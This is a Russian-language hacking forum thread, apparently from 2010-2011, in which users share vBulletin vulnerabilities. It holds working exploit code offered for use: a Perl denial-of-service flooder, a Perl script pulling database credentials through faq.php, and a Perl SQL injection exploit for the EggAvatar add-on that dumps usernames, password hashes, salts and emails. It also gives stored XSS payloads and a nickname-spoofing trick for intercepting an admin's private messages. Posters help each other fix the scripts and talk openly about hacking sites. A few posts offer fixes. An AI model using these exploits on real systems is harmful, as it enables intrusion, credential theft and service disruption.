Форумы [Обзор уязвимостей vBulletin]

RAISh · 28 Sep 2010

&#00
Вот эти 4 символа после ника добавляешь, к примеру есть на форуме ник test, ты хочешь такой же, пишешь при регистрации этот ник и в конце после ника добавляешь эти символы, и всё

delasoul · 28 Sep 2010

RAISh said:

&#00
Вот эти 4 символа после ника добавляешь, к примеру есть на форуме ник test, ты хочешь такой же, пишешь при регистрации этот ник и в конце после ника добавляешь эти символы, и всё
Click to expand...

я уже таки делал и зарегилса на имя администратора но там естъ &# куда это нужна пихать вот что я не понял!!! если бы внимательно читал!! всё била бы чотко!

RAISh · 28 Sep 2010

Где &# это есть? Что пихать ? Ты сам понимаешь что пишешь ?
вставляешь символы после ника и всё, если есть уязвимость, значит зарегается нормально под ником админа, а если нету, то напишет что такой пользователь существует.
Я вот 1 не понимаю как её раскрутить уязвимость эту, к примеру залогиниться в панели админа под своим созданным ником ?

emillord · 28 Sep 2010

delasoul said:

я уже таки делал и зарегилса на имя администратора но там естъ &# куда это нужна пихать вот что я не понял!!! если бы внимательно читал!! всё била бы чотко!
Click to expand...

Это информация для админа как прикрыть дыру. Вам это не нужно.

delasoul · 28 Sep 2010

RAISh said:

Где &# это есть? Что пихать ? Ты сам понимаешь что пишешь ?
вставляешь символы после ника и всё, если есть уязвимость, значит зарегается нормально под ником админа, а если нету, то напишет что такой пользователь существует.
Я вот 1 не понимаю как её раскрутить уязвимость эту, к примеру залогиниться в панели админа под своим созданным ником ?
Click to expand...

4 > type &# in Censored Words section!!!!

emillord said:

Это информация для админа как прикрыть дыру. Вам это не нужно.
Click to expand...

спасибо за ответ

himmi · 29 Sep 2010

delasoul said:

я что то не врубилься где добавит &#?
Click to expand...

Type this at User Name ===> ADMIN&#00
эта строчка для тебя если ломануть хочешь...
а если хочешь баг убрать, то добавь эти символы в админке в исключение. чтобы юзеры не могли с этими знаками региться...

InDuStRieS · 30 Sep 2010

himmi said:

войди под админом и посмотри какие у тебя права будут. ищи возможность залить шел. сам лично не пробовал. точно сказать не могу. на днях собираюсь похакать кого-нибудь... если получится-опишу.
Click to expand...

прав там не будет,с этой багой только ЛС будешь перехватывать.

RAISh · 1 Oct 2010

и то не все сообщения
Т.к. при отправке через страницу профиля, сообщение будет только тому отправлятся, с чьего профиля отсылают
А если в строке ник нейма будут вводить ник, то появится оригинальный и ложный, которым ты создал, и если он выберет твой ложный ник, то придёт тебе сообщения, а так ники в списке одинаковые.

himmi · 1 Oct 2010

RAISh said:

и то не все сообщения
Т.к. при отправке через страницу профиля, сообщение будет только тому отправлятся, с чьего профиля отсылают
А если в строке ник нейма будут вводить ник, то появится оригинальный и ложный, которым ты создал, и если он выберет твой ложный ник, то придёт тебе сообщения, а так ники в списке одинаковые.
Click to expand...

к нику присваивается id?

GrandMaster · 11 Oct 2010

farent12 said:

Ребят, помогите, есть шеллы под этот форум, кто-что посоветует как быстро код вставить и куда?
Click to expand...

https://forum.antichat.ru/thread220278.html

SSSetuPPP · 3 Dec 2010

ph1l1ster said:

vBulletin® Version 3.8.2 Denial of Service Exploit

Code:

#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
########################################################################
# Modules                                                              #
########################################################################
use IO::SOCKET;           # Object interface                           #
########################################################################
if (@ARGV<1){
print"
########################################################################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                                                                    ##
########################################################################
########################################################################
##                                ##                                  ##
##->vBulletin® Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Gebe diese Daten an             ##                                  ##
##1.Ziel                          ##[*] www.Ziel.com                  ##
##2.Board                         ##[*] vbulletin                     ##
##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
##4.Zeit des vorganges            ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
########################################################################
\a";}
$block = "
########################################################################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
     print"$block\n";
     print q(Ziel->);
     chomp($ziel =<STDIN>);
     if ($ziel eq""){
     die "$fehler\a\n";}
     print"$block\n";
       print"$block\n";
       print q(Path->);
       chomp($path =<STDIN>);
       if ($path eq "") {
       die "$fehler !\a\n";}
       print"$block\n";
          print"$block\n";
          print "Verwundbarkeit\n";
          print"forumdisplay.php?f=\n";
          print"->"n;
            chomp($vul =<STDIN>);
            if ($vul eq "") {
            die "$fehler !\a\n";}
            print"$block\n";
               print"$block\n";
               print q(Time->);
               chomp($flood =<STDIN>);
               if ($flood eq "") {
               die "$fehler !\a\n";}
                  print"$block\n";
                  print"$block\n";
                  print q(Port->);
                  chomp($port =<STDIN>);
                  if ($port eq ""){
                  die "$fehler \n";}
                  print"$block\n";
                     print q(Send "start"->);
                     chomp($start =<STDIN>);
                     if ($start eq "") {
                     die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel   : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                               PeerAddr => "$ziel",
                               PeerPort => "$port",
                               Proto => "tcp",
                              );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}

Click to expand...

Пишет: ошибка в строке № 49

В сплоите:

Code:

print"->"n;

Может надо так?

Code:

print"->n";

p.s. кавычку не туда поставил...

[Ozzi] · 4 Dec 2010

vBulletin 4.0.8 - Persistent XSS via Profile

vBulletin - Persistent Cross Site Scripting via Profile

Versions Affected: 4.0.8 (3.8.* is not vulnerable.)

vBulletin is prone to a Persistent Cross Site Scripting vulnerability within the
Profile Customization feature. If this feature is not enabled the vulnerability
does not exist and the installation of vBulletin is thereby secure.

Within the profile customization fields, it is possible to enter colour codes,
rgb codes and even images. The image url() function does not sanitize user
input in a sufficient way causing vBulletin to be vulnerable to XSS attacks.

[1] Private Reflected XSS:
An attacker can inject scripts in a simple way, which is only visible to the attacker.

Proof of Concept:
url(</script><img src="x:x" onerror="alert(String.fromCharCode(73,110,116,101,114,78,48,84,11))" />)
(This is only visible to the attacker when he or she is logged in, and browsing his or her own profile.)

[2] Global Reflected XSS:
An attacker can inject malicious CSS data executing javascript, which is then visible
to anyone browsing the user profile. Even guests visiting the malicious user profile.

Proof of Concept: (IE6 only, may not work in IE7+ and FF)

url(/);background:url(javascript:document.write(1337))
url(/);width:expression(alert('www.intern0t.net'))

Please note that some of these strings may be too long to be injected. However a
blog entry at Exploit-DB and a video on YouTube will be released very soon.

-:: Solution ::-
Turn off profile customization immediately for users able to customize their profile!
When a security patch has been provided by the vendor, enable this feature again.

Взято с www.exploit-db.com/exploits/15550/

A_n_d_r_e_i · 9 Dec 2010

vBulletin Version 3.8.4 AdminCP

Стили и шаблоны-Сохранить/загрузить стили
загружаем стиль, в поле "Название для загруженного стиля" пишем
<script>alert (document.cookie);</script>
когда выберем на форуме последний загруженный стиль - увидим алерт и свои куки, так же как и в админке

Языки и фразы-Сохранить/загрузить языки
В поле "Название загружаемого языка" пишем <script>alert (document.cookie);</script>
"Перезаписать язык" выбираем "Создать новый"
выбираем файл языка, загружаем
идём по адресу http://ваш_форум и видим свои куки, алерт

Разделы и модераторы-Добавить раздел
в поля "Заголовок" и "Описание" пишем <script>alert (document.cookie);</script>
нажимаем "Сохранить"
Видим два алерта на главной, и один в админке по адресу Разделы и модераторы-Управление разделами(последний выполнился у меня в ие, в опере не было)

Основные настройки-Основные настройки, Название сайта / Ссылка / Контактная информация
в поле "Текст авторских прав" пишем <script>alert (document.cookie);</script>
нажимаем сохранить
на главной видим алерт

Объявления-Создать новое объявление
Раздел (будет добавлено и в подразделы) оставляем по-дефолту(Во всех разделах)
в поле "Заголовок" и поле "Текст" вбиваем <script>alert (document.cookie);</script>
нажимаем "Сохранить"
Заходим в любой раздел и видим алерт

Дополнительные поля профиля-Добавить дополнительное поле профиля
Тип поля профиля-Текстовое поле одной строкой, нажимаем "Продолжить"
в поле "Заголовок", "Значение по умолчанию" и "Описание" вставляем <script>alert (document.cookie);</script>
Какая страница отображает эту опцию? выбираем то, что вам подходит. я же выбрал "Редактировать данные"
Нажимаем "Сохранить"
по линку http://ваш_форум/profile.php?do=editprofile видим два алерта

foozzi · 13 Feb 2011

vBulletin 3.8.6 Exploit

Code:

#!/usr/bin/perl
use strict;
use LWP::Simple;
use HTML::Parser;
use Data::Dumper;
my $url = shift @ARGV;
my $line;
die "No URL specified on command line." unless (defined $url);
my $url2 = "$url\/install\/vbulletin-language.xml";
my $content = get($url2); #put site html in $content.
die "get failed" if (!defined $content);

if ($content =~ m/database_ingo/) {
    $url2 = "$url\/faq.php\?s=\&do=search\&q=data\&match=all\&titlesonly=0";
    $content = get($url2);
    die "Get Failed" if (!defined $content);
    open(MYDATA, ">aaaaa.txt");
    print MYDATA $content;
    close MYDATA;
    open(NEDATA, "<aaaaa.txt");
        while($line = <NEDATA>) {
            if ($line =~ m/Host:/) {
                $line =~ s/<span class=\"highlight\">Database\<\/span>//;
                $line =~ s/\<br \/\>//;
                print "$line\n";
            }
            if ($line =~ m/Username:/) {
                $line =~ s/<span class=\"highlight\">Database<\/span>//;
                $line =~ s/<br \/>//;
                print "$line\n";
            }
            if ($line =~ m/Password:/) {
                $line =~ s/<span class=\"highlight\">Database<\/span>//;
                $line =~ s/<\/td>//;
                print "$line\n";
            }
        }
    close NEDATA;
    unlink($url2);
} else {
print "Not vulnerable!\n";
};

_____________________________________________
How to use?

my $content = get($url2)

my $content = get('http://wowcewebsite.com/path/')
_____________________________________________*

foozzi · 17 Feb 2011

NeW said:

Какаие есть уязвимости в 3.8.2, кроме DoS'а?
Click to expand...

_http://www.exploit-db.com/shellcode/ сложно ведь правда поискать?

Slay90 · 21 Feb 2011

foozi не пашет
No URL specified on command line. at C:\perl\1.pl line 8.

Mr.Br0wn · 27 Feb 2011

Slay90, поправь ошибку в 8-й строке скрипта

hatecore161 · 7 Mar 2011

EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability

PHP:

#!/usr/bin/env perl use LWP::UserAgent; sub banner{ print "###################################\n"; print "############ DSecurity ############\n"; print "###################################\n"; print "# Email:dsecurity.vn[at]gmail.com #\n"; print "###################################\n"; } if(@ARGV<5){ print "Usage: $0 address username password number_user sleeptime\n"; print "Example: $0 http://localhost/vbb test test 10 10\n"; exit(); } $ua=LWP::UserAgent->new(); $ua->agent("DSecurity"); $ua->cookie_jar({}); sub login(@){ my $username=shift; my $password=shift; my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login'); $req->content_type('application/x-www-form-urlencoded'); $req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login&vb_login_md5password=&vb_login_md5password_utf="); my $res = $ua->request($req); } sub v_request{ #Declare $print = $_[0]; $select = $_[1]; $from = $_[2]; $where = $_[3]; $limit = $_[4]; $sleep = $ARGV[4]; if ($from eq '') {$from = 'information_schema.tables';} if ($where eq '') {$where = '1';} if ($limit eq '') {$limit = '0';} if ($sleep eq '') {$sleep = '10';} # Create a request my $req = HTTP::Request->new(POST => $ARGV[0].'/eggavatar.php'); $req->content_type('application/x-www-form-urlencoded'); $req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar=1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select $select from $from WHERE $where limit $limit,1),FLOOR(RAND(1)*3))foo FROM information_schema.tables GROUP BY foo)a)-- -'&uid=1&pid=1"); # Pass request to the user agent and get a response back my $res = $ua->request($req); #print $res->content; if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/) {$test = $3}; sleep($sleep); return $print.$test."\n"; } &banner; print "\n#############################################################################################################\n"; print "# EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability #\n"; print "# Date:06-03-2011 #\n"; print "# Author: DSecurity #\n"; print "# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n"; print "# Version: 2.3.2 #\n"; print "# Tested on: vBulletin 3.8.0 #\n"; print "#############################################################################################################\n"; #login login($ARGV[1],$ARGV[2]); #Foot print print v_request('MySQL version: ','@@version'); print v_request('Data dir: ','@@datadir'); print v_request('User: ','user()'); print v_request('Database: ','database()'); #Get user for($i=1;$i<=$ARGV[3];$i++){ print "-----------------------------------------\n"; print $id = v_request('ID: ','userid','user','1',$i-1); if($id =~ /(ID:)\s(.*)/){ print v_request('Group: ','usergroupid','user','userid='.$2); print v_request('Username: ','username','user','userid='.$2); print v_request('Password: ','password','user','userid='.$2); print v_request('Salt: ','salt','user','userid='.$2); print v_request('Email: ','email','user','userid='.$2); } }

DotNet · 24 Mar 2011

Баг с хайдом
_ttp://ru-ua.ws/showthread.php?p=13674

Юзать:
http://site.ru/showthread.php?p=1&highlight=[HIDE

Фикс:
1. Открыть файл /includes/vS_HHR_Engine.php
2. После

PHP:

<?php

добавить:

PHP:

if($_GET['highlight']){ if(preg_match("/hide|hide-post|showtogroups/i", $_GET['highlight'])){ @header('location: http://gay.ru'); exit; } }

найдено ru-ua.ws

banned · 19 Apr 2011

DotNet said:

Баг с хайдом
_ttp://ru-ua.ws/showthread.php?p=13674

Юзать:
http://site.ru/showthread.php?p=1&highlight=[HIDE

Фикс:
1. Открыть файл /includes/vS_HHR_Engine.php
2. После

PHP:

<?php

добавить:

PHP:

if($_GET['highlight']){ if(preg_match("/hide|hide-post|showtogroups/i", $_GET['highlight'])){ @header('location: http://gay.ru'); exit; } }

найдено ru-ua.ws
Click to expand...

Это не фикс, юзать можно и так &highlight=[HID*

Форумы [Обзор уязвимостей vBulletin]

RAISh New Member

delasoul Elder - Старейшина

RAISh New Member

emillord Elder - Старейшина

delasoul Elder - Старейшина

himmi New Member

InDuStRieS Banned

RAISh New Member

himmi New Member

GrandMaster Active Member

SSSetuPPP Elder - Старейшина

[Ozzi] New Member

A_n_d_r_e_i Elder - Старейшина

foozzi Member

foozzi Member

Slay90 Member

Mr.Br0wn Banned

hatecore161 New Member

DotNet New Member

banned Banned

Useful Searches

Форумы [Обзор уязвимостей vBulletin]

RAISh New Member

delasoul Elder - Старейшина

RAISh New Member

emillord Elder - Старейшина

delasoul Elder - Старейшина

himmi New Member

InDuStRieS Banned

RAISh New Member

himmi New Member

GrandMaster Active Member

SSSetuPPP Elder - Старейшина

[Ozzi] New Member

A_n_d_r_e_i Elder - Старейшина

foozzi Member

foozzi Member

Slay90 Member

Mr.Br0wn Banned

hatecore161 New Member

DotNet New Member

banned Banned